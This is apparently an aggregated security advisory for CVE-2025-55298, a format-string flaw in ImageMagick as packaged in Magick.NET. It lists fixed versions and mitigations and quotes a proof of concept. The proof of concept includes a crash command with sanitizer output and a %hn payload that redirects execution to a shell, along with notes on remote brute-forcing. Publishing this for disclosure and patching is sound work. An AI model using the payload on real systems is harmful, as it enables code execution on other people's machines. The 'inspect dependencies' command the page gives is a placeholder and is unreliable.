CVE-2025-55298: Magick.NET Q16 AnyCPU ImageMagick Has A Format String Vulnerability

HIGH
Advisory Identifier: GHSA-9ccg-6pjw-x645
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CVSS 7.5
CWE-123 CWE-134
Published
Advisory Summary

CVE-2025-55298 is a HIGH (CVSS 7.5) imagemagick has a format string vulnerability (CWE-123: Write-what-where Condition) affecting Magick.NET Q16 AnyCPU libraries in the NuGet ecosystem. The issue involves imagemagick has a format string bug in interpretimagefilename leads to arbitrary code execution. Remediation is available by upgrading affected packages to version 14.8.1.

CVE-2025-55298 at a Glance

CVE Identifier CVE-2025-55298
GHSA Identifier GHSA-9ccg-6pjw-x645
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-123: Write-what-where Condition
Affected Product Magick.NET Q16 AnyCPU
Package Ecosystem NuGet
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-55298

To remediate this vulnerability, upgrade all affected Magick.NET Q16 AnyCPU dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Magick.NET-Q16-AnyCPU fixed: 14.8.1 
Upgrade Magick.NET-Q16-AnyCPU to 14.8.1
Magick.NET-Q16-HDRI-AnyCPU fixed: 14.8.1 
Upgrade Magick.NET-Q16-HDRI-AnyCPU to 14.8.1
Magick.NET-Q16-HDRI-OpenMP-arm64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-HDRI-OpenMP-arm64 to 14.8.1
Magick.NET-Q16-HDRI-OpenMP-x64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-HDRI-OpenMP-x64 to 14.8.1
Magick.NET-Q16-HDRI-arm64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-HDRI-arm64 to 14.8.1
Magick.NET-Q16-HDRI-x64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-HDRI-x64 to 14.8.1
Magick.NET-Q16-HDRI-x86 fixed: 14.8.1 
Upgrade Magick.NET-Q16-HDRI-x86 to 14.8.1
Magick.NET-Q16-OpenMP-arm64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-OpenMP-arm64 to 14.8.1
Magick.NET-Q16-OpenMP-x64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-OpenMP-x64 to 14.8.1
Magick.NET-Q16-arm64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-arm64 to 14.8.1
Magick.NET-Q16-x64 fixed: 14.8.1 
Upgrade Magick.NET-Q16-x64 to 14.8.1
Magick.NET-Q16-x86 fixed: 14.8.1 
Upgrade Magick.NET-Q16-x86 to 14.8.1
Magick.NET-Q8-AnyCPU fixed: 14.8.1 
Upgrade Magick.NET-Q8-AnyCPU to 14.8.1
Magick.NET-Q8-OpenMP-arm64 fixed: 14.8.1 
Upgrade Magick.NET-Q8-OpenMP-arm64 to 14.8.1
Magick.NET-Q8-OpenMP-x64 fixed: 14.8.1 
Upgrade Magick.NET-Q8-OpenMP-x64 to 14.8.1
Magick.NET-Q8-arm64 fixed: 14.8.1 
Upgrade Magick.NET-Q8-arm64 to 14.8.1
Magick.NET-Q8-x64 fixed: 14.8.1 
Upgrade Magick.NET-Q8-x64 to 14.8.1
Magick.NET-Q8-x86 fixed: 14.8.1 
Upgrade Magick.NET-Q8-x86 to 14.8.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for Magick.NET-Q16-AnyCPU

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-55298, inspect your project dependencies for Magick.NET Q16 AnyCPU:

inspect dependencies for Magick.NET-Q16-AnyCPU

Analyze the terminal output to locate any version of Magick.NET Q16 AnyCPU in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 14.8.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-123: Write-what-where Condition, where any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow. In Magick.NET Q16 AnyCPU, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br> ## Details ### root cause ``` MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... while ((cursor=strchr(cursor,'%')) != (const char *) NULL) { const char *q = cursor; ssize_t offset = (ssize_t) (cursor-format); cursor++; /* move past '%' */ if (*cursor == '%') { /* Escaped %%. */ cursor++; continue; } /* Skip padding digits like %03d. */ if (isdigit((int) ((unsigned char) *cursor)) != 0) (void) strtol(cursor,(char **) &cursor,10); switch (*cursor) { case 'd': case 'o': case 'x': { ssize_t count; count=FormatLocaleString(pattern,sizeof(pattern),q,value); if ((count <= 0) || (count >= MagickPathExtent) || ((offset+count) >= MagickPathExtent)) return(0); (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent- offset)); cursor++; break; } ``` When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br> ``` MagickExport ssize_t FormatLocaleString(char *magick_restrict string, const size_t length,const char *magick_restrict format,...) { ssize_t n; va_list operands; va_start(operands,format); n=FormatLocaleStringList(string,length,format,operands); va_end(operands); return(n); } ``` ``` MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string, const size_t length,const char *magick_restrict format,va_list operands) { ... n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands); ``` Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br> ## PoC ### 1. Heap overflow read tested on development container ``` root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n ================================================================= ==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408 READ of size 8 at 0x603000000001 thread T0 #0 0x5bdccaae689d in SplaySplayTree splay-tree.c #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #10 0x73b2102b2d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) 0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028) allocated by thread T0 here: #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #1 0x73b21031915a (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree Shadow bytes around the buggy address: 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==55653==ABORTING ``` Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition. <br> ### 2. Shell execution tested on a local environment https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94 ``` ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa ``` The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br> **Exploitation Process:** 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address 3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes `/bin/sh` with inherited process permissions <br> **Remote Exploitation Feasibility:** While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br> **Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure. **Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br> ## Impact This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges. The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br> ## Suggested Fix Two potential mitigation approaches: 1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString` 2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString` <br> ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) # Additional notes from the ImageMagick team: On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation: To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive: - In wrappers: `filename:literal` - From the command line: `-define filename:literal=true`

CVE-2025-55298 Affected Magick.NET Q16 AnyCPU Versions

18 component(s)
Fixed Versions:
14.8.1
Product / Package Ecosystem Affected Versions Fixed Version
Magick.NET-Q16-AnyCPU
nuget/Magick.NET-Q16-AnyCPU
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-AnyCPU
nuget/Magick.NET-Q16-HDRI-AnyCPU
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-OpenMP-arm64
nuget/Magick.NET-Q16-HDRI-OpenMP-arm64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-OpenMP-x64
nuget/Magick.NET-Q16-HDRI-OpenMP-x64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-arm64
nuget/Magick.NET-Q16-HDRI-arm64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-x64
nuget/Magick.NET-Q16-HDRI-x64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-HDRI-x86
nuget/Magick.NET-Q16-HDRI-x86
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-OpenMP-arm64
nuget/Magick.NET-Q16-OpenMP-arm64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-OpenMP-x64
nuget/Magick.NET-Q16-OpenMP-x64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-arm64
nuget/Magick.NET-Q16-arm64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-x64
nuget/Magick.NET-Q16-x64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q16-x86
nuget/Magick.NET-Q16-x86
NuGet
< 14.8.1
14.8.1
Magick.NET-Q8-AnyCPU
nuget/Magick.NET-Q8-AnyCPU
NuGet
< 14.8.1
14.8.1
Magick.NET-Q8-OpenMP-arm64
nuget/Magick.NET-Q8-OpenMP-arm64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q8-OpenMP-x64
nuget/Magick.NET-Q8-OpenMP-x64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q8-arm64
nuget/Magick.NET-Q8-arm64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q8-x64
nuget/Magick.NET-Q8-x64
NuGet
< 14.8.1
14.8.1
Magick.NET-Q8-x86
nuget/Magick.NET-Q8-x86
NuGet
< 14.8.1
14.8.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9ccg-6pjw-x645
NVD — CVE-2025-55298 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-55298
Security Fix Commit FIX COMMIT
https://github.com/ImageMagick/ImageMagick/commit/439b362b93c074eea6c3f834d84982b43ef057d5
Magick.NET Q16 AnyCPU Source Repository REPOSITORY
https://github.com/ImageMagick/ImageMagick
Magick.NET Q16 AnyCPU Release RELEASE
https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1
lists.debian.org/debian-lts-announce... WEB
https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html

Frequently Asked Questions

What is CVE-2025-55298?
CVE-2025-55298 is a security vulnerability in Magick.NET Q16 AnyCPU involving ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution under CWE-123: Write-what-where Condition.
Which Magick.NET Q16 AnyCPU versions are affected?
Affected versions include releases prior to 14.8.1 across affected packages: Magick.NET-Q16-AnyCPU, Magick.NET-Q16-HDRI-AnyCPU, Magick.NET-Q16-HDRI-OpenMP-arm64, Magick.NET-Q16-HDRI-OpenMP-x64, Magick.NET-Q16-HDRI-arm64, Magick.NET-Q16-HDRI-x64, Magick.NET-Q16-HDRI-x86, Magick.NET-Q16-OpenMP-arm64, Magick.NET-Q16-OpenMP-x64, Magick.NET-Q16-arm64, Magick.NET-Q16-x64, Magick.NET-Q16-x86, Magick.NET-Q8-AnyCPU, Magick.NET-Q8-OpenMP-arm64, Magick.NET-Q8-OpenMP-x64, Magick.NET-Q8-arm64, Magick.NET-Q8-x64, Magick.NET-Q8-x86.
What version fixes CVE-2025-55298?
Upgrading to 14.8.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Magick.NET-Q16-AnyCPU affected?
Yes, Magick.NET-Q16-AnyCPU is affected in releases prior to 14.8.1. Upgrade your dependency to 14.8.1 or later.
Is Magick.NET-Q16-HDRI-AnyCPU affected?
Yes, Magick.NET-Q16-HDRI-AnyCPU is affected in releases prior to 14.8.1. Upgrade your dependency to 14.8.1 or later.
What is the CVSS score of CVE-2025-55298?
CVE-2025-55298 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-55298?
CVE-2025-55298 is classified under CWE-123: Write-what-where Condition (Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.).
How can I check NuGet dependencies for CVE-2025-55298?
Run the dependency tree command: 'inspect dependencies for Magick.NET-Q16-AnyCPU'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9ccg-6pjw-x645",
  "modified" : "2025-11-03T21:34:25Z",
  "published" : "2025-08-26T15:29:33Z",
  "aliases" : [ "CVE-2025-55298" ],
  "summary" : "ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution",
  "details" : "## Summary\nA format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.\n<br>\n\n## Details\n### root cause\n```\nMagickExport size_t InterpretImageFilename(const ImageInfo *image_info,\n  Image *image,const char *format,int value,char *filename,\n  ExceptionInfo *exception)\n{\n\n...\n\n  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)\n  {\n    const char\n      *q = cursor;\n\n    ssize_t\n      offset = (ssize_t) (cursor-format);\n\n    cursor++;  /* move past '%' */\n    if (*cursor == '%')\n      {\n        /*\n          Escaped %%.\n        */\n        cursor++;\n        continue;\n      }\n    /*\n      Skip padding digits like %03d.\n    */\n    if (isdigit((int) ((unsigned char) *cursor)) != 0)\n      (void) strtol(cursor,(char **) &cursor,10);\n    switch (*cursor)\n    {\n      case 'd':\n      case 'o':\n      case 'x':\n      {\n        ssize_t\n          count;\n\n        count=FormatLocaleString(pattern,sizeof(pattern),q,value);\n        if ((count <= 0) || (count >= MagickPathExtent) ||\n            ((offset+count) >= MagickPathExtent))\n          return(0);\n        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-\n          offset));\n        cursor++;\n        break;\n      }\n```\nWhen the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.\n<br>\n```\nMagickExport ssize_t FormatLocaleString(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,...)\n{\n  ssize_t\n    n;\n\n  va_list\n    operands;\n\n  va_start(operands,format);\n  n=FormatLocaleStringList(string,length,format,operands);\n  va_end(operands);\n  return(n);\n}\n```\n```\nMagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,va_list operands)\n{\n...\nn=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);\n```\nInside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.\n<br>\n## PoC\n### 1. Heap overflow read tested on development container\n```\nroot@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n\n=================================================================\n==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408\nREAD of size 8 at 0x603000000001 thread T0\n    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c\n  